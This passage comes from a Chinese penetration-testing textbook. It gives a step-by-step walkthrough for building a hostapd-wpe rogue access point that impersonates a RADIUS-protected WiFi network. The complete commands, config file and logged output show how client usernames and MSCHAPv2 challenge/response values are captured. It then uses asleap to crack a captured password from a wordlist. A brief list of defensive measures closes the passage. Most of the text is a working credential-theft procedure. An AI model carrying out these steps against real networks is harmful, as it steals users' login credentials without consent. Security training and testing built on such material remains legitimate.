图10.22 设置Test无线网络
(3)在该界面配置Test网络,如加密方法、身份验证方法,身份及用户密码等。该界面的所有配置信息是可以滑动的,所以,图10.22中只显示了部分信息。设置完加密方法和身份验证后,向下滑动,将看到如图10.23所示的界面。
图10.23 身份验证信息
(4)在该界面的“身份”对应的文本框中输入登录的用户名,在“密码”文本框中输入登录用户的密码,如图10.23所示。在该界面设置的信息和在Linux客户端连接该网络的配置类似。设置完后单击“连接”按钮,如果配置正确,则可成功连接到Test网络。
在Linux下提供了一个hostapd工具,可以实现WiFi的无线接入热点(AP)功能。它是一个带加密功能的无线接入点程序,支持IEEE 802.11协议和IEEE 802.1X/WPA/WPA2/EAP/RADIUS加密。有开发者根据该软件,开发了一个名为hostapd-wpe的补丁。
使用该补丁后,就可以创建支持MSCHAPv2加密的伪AP。这样,渗透测试人员将会获取到无线网络的用户名和密码。当渗透测试人员获取到用户名和密码后,可以使用asleap工具将密码破解出来。本节将介绍如何使用这种方法来破解RADIUS加密的WiFi网络。
下面同样以Kali Linux操作系统为例,介绍使用hostapd-wpe创建伪AP,并实现WiFi网络的破解的方法。
【实例10-3】 破解RADIUS加密的WiFi网络。具体操作步骤如下所述。
(1)由于安装hostapd软件依赖libnl库,所以,这里首先安装相关的库文件。执行命令如下所示。
root@localhost:~# apt-get install libssl-dev libnl-dev
执行以上命令后,如果没有报错,则表示以上软件包安装成功。
(2)下面获取hostapd软件的补丁包hostapd-wpe。执行命令如下所示。
root@localhost:~# git clone https://github.com/OpenSecurityResearch/hostapd-wpe 正克隆到 'hostapd-wpe'... remote: Counting objects: 47, done. remote: Total 47 (delta 0), reused 0 (delta 0) Unpacking objects: 100% (47/47), done.
从以上输出信息可以看到,已成功获取到了补丁包hostapd-wpe。git工具默认将下载的文件保存在当前目录中。
(3)下载hostapd软件包。执行命令如下所示。
root@localhost:~# wget http://hostap.epitest.fi/releases/hostapd-2.2.tar.gz --2014-12-22 19:14:54-- http://hostap.epitest.fi/releases/hostapd-2.2.tar.gz 正在解析主机 hostap.epitest.fi (hostap.epitest.fi)... 212.71.239.96 正在连接 hostap.epitest.fi (hostap.epitest.fi)|212.71.239.96|:80... 已连接。 已发出 HTTP 请求,正在等待回应... 301 Moved Permanently 位置:http://w1.fi/releases/hostapd-2.2.tar.gz [跟随至新的 URL] --2014-12-22 19:14:56-- http://w1.fi/releases/hostapd-2.2.tar.gz 正在解析主机 w1.fi (w1.fi)... 212.71.239.96 再次使用存在的到 hostap.epitest.fi:80 的连接。 已发出 HTTP 请求,正在等待回应... 200 OK 长度:1586482 (1.5M) [application/x-gzip] 正在保存至: “hostapd-2.2.tar.gz” 100%[===================================================================== ==============>] 1,586,482 107K/s 用时 12s 2014-12-22 19:15:09 (128 KB/s) - 已保存 “hostapd-2.2.tar.gz” [1586482/1586482])
以上输出信息显示了下载hostapd软件包的详细过程。从最后一行信息可以看出,下载的软件包已保存为hostapd-2.2.tar.gz,该软件包默认保存在当前目录中。接下来,就可以安装hostapd软件包了。
(4)解压hostapd软件包。执行命令如下所示。
root@localhost:~# tar zxvf hostapd-2.2.tar.gz
执行以上命令后,hostapd软件包中的所有文件将被解压到名为hostapd-2.2的文件中。接下来,就需要切换到该目录中进行hostapd软件包的安装。
(5)使用patch命令为hostapd软件包打补丁。其中,patch命令的语法格式如下所示。
patch [-R] {-p(n)} [--dry-run] < patch_file_name
以上语法中各参数含义如下所示。
-R:卸载patch包。
-p:为patch的缩写。
n:指patch(补丁包)文件所在位置(patch)的第n条‘/’。
--dry-run:尝试patch软件,并不真正修改软件。
patch_file_name:指定补丁包的文件名。
本例中的补丁包保存在/root/hostapd-wpe中。所以,这里指定的路径为-p1。执行命令如下所示。
root@localhost:~# cd hostapd-2.2/ #切换到解压出的文件中 root@localhost:~/hostapd-2.2# patch -p1 < ../hostapd-wpe/hostapd-wpe.patch #打补丁包 patching file hostapd/.config patching file hostapd/config_file.c patching file hostapd/hostapd-wpe.conf patching file hostapd/hostapd-wpe.eap_user patching file hostapd/main.c patching file hostapd/Makefile patching file src/ap/beacon.c patching file src/ap/ieee802_11.c patching file src/crypto/ms_funcs.c patching file src/crypto/ms_funcs.h patching file src/crypto/tls_openssl.c patching file src/eap_server/eap_server.c patching file src/eap_server/eap_server_mschapv2.c patching file src/eap_server/eap_server_peap.c patching file src/eap_server/eap_server_ttls.c patching file src/Makefile patching file src/utils/wpa_debug.c patching file src/wpe/Makefile patching file src/wpe/wpe.c patching file src/wpe/wpe.h
以上输出的信息,显示了打补丁的所有文件。
(6)编译hostapd软件包。执行命令如下所示。
root@localhost:~/hostapd-2.2# cd hostapd/ root@localhost:~/hostapd-2.2/hostapd# make
执行以上命令后,将输出编译的所有文件信息。如果没有提示错误信息,则表示编译成功。
(7)有了hostapd工具做无线接入点,还需要创建一些证书。在该程序中提供了一个可执行脚本bootstrap,可以来创建证书。所以,运行该脚本即可创建需要的证书。执行命令如下所示。
root@localhost:~/hostapd-2.2/hostapd# cd ../../hostapd-wpe/certs/ root@localhost:~/hostapd-wpe/certs# ./bootstrap
执行以上命令后,将输出如下信息:
openssl dhparam -out dh 1024 Generating DH parameters, 1024 bit long safe prime, generator 2 This is going to take a long time ...............................+...+.....................................+...........+.............+................................................. ......................................+..............................................................................++*++*++* openssl req -new -out server.csr -keyout server.key -config ./server.cnf Generating a 2048 bit RSA private key ...+++ .....................+++ writing new private key to 'server.key' ----- openssl req -new -x509 -keyout ca.key -out ca.pem \ -days `grep default_days ca.cnf | sed 's/.*=//;s/^ *//'` -config ./ca.cnf Generating a 2048 bit RSA private key ................................................................................................................+++ ....................................................................................+++ writing new private key to 'ca.key' ----- openssl ca -batch -keyfile ca.key -cert ca.pem -in server.csr -key `grep output_password ca.cnf | sed 's/.*=//;s/^ *//'` -out server.crt -extensions xpserver_ext -extfile xpextensions -config ./server.cnf Using configuration from ./server.cnf Check that the request matches the signature Signature ok Certificate Details: Serial Number: 1 (0x1) Validity Not Before: Dec 23 01:25:38 2014 GMT Not After : Dec 23 01:25:38 2015 GMT Subject: countryName = FR stateOrProvinceName = Radius organizationName = Example Inc. commonName = Example Server Certificate emailAddress = admin@example.com X509v3 extensions: X509v3 Extended Key Usage: TLS Web Server Authentication Certificate is to be certified until Dec 23 01:25:38 2015 GMT (365 days) Write out database with 1 new entries Data Base Updated openssl pkcs12 -export -in server.crt -inkey server.key -out server.p12 -passin pass:`grep output_password server.cnf | sed 's/.*=//;s/^ *//'` -passout pass:`grep output_password server.cnf | sed 's/.*=//;s/^ *//'` openssl pkcs12 -in server.p12 -out server.pem -passin pass:`grep output_password server.cnf | sed 's/.*=//;s/^ *//'` -passout pass:`grep output_password server.cnf | sed 's/.*=//;s/^ *//'` MAC verified OK openssl verify -CAfile ca.pem server.pem server.pem: OK openssl x509 -inform PEM -outform DER -in ca.pem -out ca.der
以上输出的信息就是创建证书的过程。从以上信息中可以看到,已成功创建了ca.pem和server.pem证书。
(8)接下来,就可以启动hostapd程序了。但是,默认hostapd程序的主配置文件中监听的端口是有线接口eth0。由于本例使用的是无线接入点,因此还需要对接口、网卡接口模式和信道等进行设置。hostapd程序的中配置文件是hostapd-wpe.conf。在该配置文件中,包括很多个配置部分。本例中需要配置的信息如下所示。
root@localhost:~/hostapd-2.2/hostapd# vi hostapd-wpe.conf # Configuration file for hostapd-wpe # # General Options - Likely to need to be changed if you're using this # Interface - Probably wlan0 for 802.11, eth0 for wired interface=wlan1 #指定无线网卡的接口,本例中是wlan1 # Driver - comment this out if 802.11 #driver=wired #使用“#”注释该选项 # 802.11 Options - Uncomment all if 802.11 ssid=hostapd-wpe #开启ssid选项 hw_mode=g #开启硬件模式选项,这里使用的是g模式。但某些网卡可能不支持该模式 channel=1 #开启信道选项 ##### IEEE 802.11 related configuration ####################################### # SSID to be used in IEEE 802.11 management frames ssid=Test #设置SSID的名称
(9)现在就可以运行hostapd程序了。执行命令如下所示。
root@localhost:~/hostapd-2.2/hostapd# ./hostapd-wpe hostapd-wpe.conf Configuration file: hostapd-wpe.conf Using interface wlan1 with hwaddr 00:c1:41:26:0e:f9 and ssid "Test" wlan1: interface state UNINITIALIZED->ENABLED wlan1: AP-ENABLED
从以上输出信息中可以看到,已成功启动了接口wlan1,并且使用的SSID名称为Test。此时,当有客户端连接该网络时,将会捕获到其用户名和密码等信息。如下所示。
root@localhost:~/hostapd-2.2/hostapd# ./hostapd-wpe hostapd-wpe.conf Configuration file: hostapd-wpe.conf Using interface wlan1 with hwaddr 00:c1:41:26:0e:f9 and ssid "Test" wlan1: interface state UNINITIALIZED->ENABLED wlan1: AP-ENABLED wlan1: STA 14:f6:5a:ce:ee:2a IEEE 802.11: authenticated wlan1: STA 14:f6:5a:ce:ee:2a IEEE 802.11: associated (aid 1) wlan1: CTRL-EVENT-EAP-STARTED 14:f6:5a:ce:ee:2a wlan1: CTRL-EVENT-EAP-PROPOSED-METHOD vendor=0 method=1 wlan1: CTRL-EVENT-EAP-PROPOSED-METHOD vendor=0 method=25 mschapv2: Tue Dec 23 09:29:29 2014 username: bob challenge: 7e:6b:5d:04:eb:73:c4:a6 response: 93:0d:4c:22:37:f9:f3:98:8e:4b:cb:e8:09:fa:16:9b:0f:1f:27:d0:f4:14:84:c2 jtr NETNTLM: bob:$NETNTLM$7e6b5d04eb73c4a6$930d4c2237f9f3988e4bcbe809fa169 b0f1f27d0f41484c2
从以上输出信息中可以看到,Mac地址为14:f6:5a:ce:ee:2a的客户端连接了Test无线网络。并且可以看到,连接该无线网络时,使用的用户名为bob,但密码处于加密状态。成功执行以上命令后,将会在运行以上命令的hostapd目录下生成一个名为hostapd-wpe.log的日志文件。在该文件中将记录认证的信息,如下所示。
root@localhost:~/hostapd-2.2/hostapd# cat hostapd-wpe.log mschapv2: Tue Dec 23 09:29:29 2014 username: bob challenge: 7e:6b:5d:04:eb:73:c4:a6 response: 93:0d:4c:22:37:f9:f3:98:8e:4b:cb:e8:09:fa:16:9b:0f:1f:27:d0:f4:14:84:c2 jtr NETNTLM: bob:$NETNTLM$7e6b5d04eb73c4a6$930d4c2237f9f3988e4bcbe809fa169 b0f1f27d0f41484c2
以上就是记录的日志信息。注意,如果要查看该日志文件中的信息,需要停止./hostapd- wpe程序才可以。
以上是hostapd正常启动后出现的信息。但是,由于Kali Linux操作系统使用的是Network Manager管理网络接口,会影响无线网络接口的运行,在启动时将会出现以下提示信息:
root@localhost:~/hostapd-2.2/hostapd# ./hostapd-wpe hostapd-wpe.conf Configuration file: hostapd-wpe.conf nl80211: Could not configure driver mode nl80211 driver initialization failed. hostapd_free_hapd_data: Interface wlan1 wasn't started
从以上输出的信息中可以看到配置驱动模式,并且驱动初始化失败。出现这种情况时,需要将Network Manager关闭,然后使用ifconfig命令启动网络接口。具体实现方法如下所示。
root@localhost:~/hostapd-2.2/hostapd# nmcli nm wifi off #关闭WiFi接口 root@localhost:~/hostapd-2.2/hostapd# rfkill unblock wlan #开启wlan root@localhost:~/hostapd-2.2/hostapd# ifconfig wlan1 192.168.3.1/24 up #开启当前系统的无线接口 root@localhost:~/hostapd-2.2/hostapd# sleep 1 #设置1秒的延迟
执行以上操作后,即可成功启动hostapd程序。
通过前面的操作,用户可以成功获取登录无线网络的用户名、挑战码、响应码等信息。此时,用户可以使用asleap工具通过指定挑战码和响应码来破解用户的密码。下面将介绍使用asleap工具破解密码。
asleap命令的语法格式如下所示。
asleap [选项]
以上命令常用选项含义如下所示。
-r:读取来自一个libpcap文件的信息。
-i:指定捕获接口。
-f:使用NT-Hash字典文件。
-n:使用NT-Hash索引文件。
-s:跳过检查来通过认证。
-h:显示帮助信息。
-v:显示详细的输出信息。
-V:显示程序的版本信息。
-C:指定挑战码的值。
-R:指定响应码的值。
-W:指定ASCII密码字典文件。
【实例10-4】 使用asleap破解以上bob用户的密码。执行命令如下所示。
root@localhost:~# asleap -C 7e:6b:5d:04:eb:73:c4:a6 -R 93:0d:4c:22:37:f9:f3:98:8e:4b:cb:e8: 09:fa:16:9b:0f:1f:27:d0:f4:14:84:c2 -W list asleap 2.2 - actively recover LEAP/PPTP passwords. <jwright@hasborg.com> Using wordlist mode with "list". hash bytes: 507e NT hash: fcfc9a2a1e3f4f9f5e1eba9a4592507e password: passbob
从以上输出信息中可以看到,bob用户的密码为passbob,hash大小为507e。以上命令中-C指定的是bob用户的挑战码,-R指定的是响应码,-W选项指定的是密码字典文件。
根据前面的介绍,可以发现WPA+RADIUS的无线网络也很容易被破解出。为了使自己的网络更安全,用户还需要采取一些其他防护措施并增加防范意识。下面将介绍几个应对WPA+RADIUS的安全措施。
(1)更改无线路由器默认设置。
(2)禁止SSID广播。
(3)设置Mac地址过滤。
(4)关闭WPA/QSS。
(5)物理的保护网络。
(6)如果所处的网络环境比较稳定的话,可以将路由器的DHCP功能关闭,使用静态IP。
(7)设置比较长的、复杂的密码。